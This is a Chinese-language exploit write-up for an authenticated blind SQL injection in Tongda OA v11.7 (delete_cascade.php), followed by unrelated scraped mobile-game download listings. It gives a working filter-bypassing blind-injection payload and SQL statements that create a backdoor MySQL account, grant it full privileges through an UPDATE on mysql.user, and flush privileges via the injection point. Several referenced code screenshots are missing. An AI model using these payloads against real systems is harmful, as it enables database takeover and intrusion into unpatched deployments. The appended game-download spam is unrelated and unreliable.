2020-09-21
测试版本:通达OA v11.7版本
限制条件:需要账号登录
注入出现在general/hr/manage/query/delete_cascade.php文件中,代码实现如下:

首先判断$condition_cascade是否为空,如果不为空,则将其中的\'替换为'。为什么要这样替换呢,主要是因为V11.7版本中,注册变量时考虑了安全问题,将用户输入的字符用addslashes函数进行保护,如下:
inc/common.inc.php代码

因为是无回显机制,是盲注,所以尝试(select 1 from (select sleep(5))a),结果没那么简单:

触发了通达OA的过滤机制,翻看代码,在inc/conn.php文件中找到过滤机制如下:

其过滤了一些字符,但是并非无法绕过,盲注的核心是:substr、if等函数,均未被过滤,所以还是有机会的。
传入错误的SQL语句时,页面出错:

那么只要构造MySQL报错即可配合if函数进行盲注了,翻看局外人师傅在补天白帽大会上的分享,发现power(9999,99)也可以使数据库报错,所以构造语句:
select if((substr(user(),1,1)='r'),1,power(9999,99)) # 当字符相等时,不报错,错误时报错

添加用户
grant all privileges ON mysql.* TO 'at666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION


然后该用户是对mysql数据库拥有所有权限的,然后给自己加权限:
UPDATE `mysql`.`user` SET `Password` = '*DE0742FA79F6754E99FDB9C8D2911226A5A9051D', `Select_priv` = 'Y', `Insert_priv` = 'Y', `Update_priv` = 'Y', `Delete_priv` = 'Y', `Create_priv` = 'Y', `Drop_priv` = 'Y', `Reload_priv` = 'Y', `Shutdown_priv` = 'Y', `Process_priv` = 'Y', `File_priv` = 'Y', `Grant_priv` = 'Y', `References_priv` = 'Y', `Index_priv` = 'Y', `Alter_priv` = 'Y', `Show_db_priv` = 'Y', `Super_priv` = 'Y', `Create_tmp_table_priv` = 'Y', `Lock_tables_priv` = 'Y', `Execute_priv` = 'Y', `Repl_slave_priv` = 'Y', `Repl_client_priv` = 'Y', `Create_view_priv` = 'Y', `Show_view_priv` = 'Y', `Create_routine_priv` = 'Y', `Alter_routine_priv` = 'Y', `Create_user_priv` = 'Y', `Event_priv` = 'Y', `Trigger_priv` = 'Y', `Create_tablespace_priv` = 'Y', `ssl_type` = '', `ssl_cipher` = '', `x509_issuer` = '', `x509_subject` = '', `max_questions` = 0, `max_updates` = 0, `max_connections` = 0, `max_user_connections` = 0, `plugin` = 'mysql_native_password', `authentication_string` = '', `password_expired` = 'Y' WHERE `Host` = Cast('%' AS Binary(1)) AND `User` = Cast('at666' AS Binary(5));

然后用注入点刷新权限,因为该用户是没有刷新权限的权限的:general/hr/manage/query/delete_cascade.php?condition_cascade=flush privileges;这样就拥有了所有权限。再次登录:

提示这个,或者让改密码死活改不了。再执行一下
grant all privileges ON mysql.* TO 'at666'@'%' IDENTIFIED BY 'abcABC@1
23' WITH GRANT OPTION
即可。
解压挑战合集下载v187.1.17 安卓版
其它手游 148.87MB
下载
模拟巴士驾驶下载v187.1.9 安卓版
其它手游 77.85MB
下载
沉浸式解谜体验下载v187.1.7 安卓版
其它手游 121.88MB
下载
怪兽乐园下载v187.1.19 安卓版
其它手游 133.71MB
下载
经典消星星下载v5.1.3 安卓版
其它手游 56.37MB
下载
狂野原始人下载v1.1.3 安卓版
其它手游 102.44MB
下载
逃离大挑战下载v187.1.22 安卓版
其它手游 162.83MB
下载
决战火柴人2下载v1.0.3 安卓版
其它手游 53.74MB
下载我压枪贼六下载v1.0.4 安卓版
下载
连线来了下载v1.2.6 安卓版
下载
花花填色下载v1.0.8 安卓版
下载
奇迹冒险家免费版下载v0.1 安卓版
下载
击败木头超人下载v187.1.27 安卓版
下载
小妖挂机免费版下载v1.0 安卓版
下载
萌宠换装秀下载v187.1.2 安卓版
下载
烹饪料理模拟器免费版下载v1.67 中文版
下载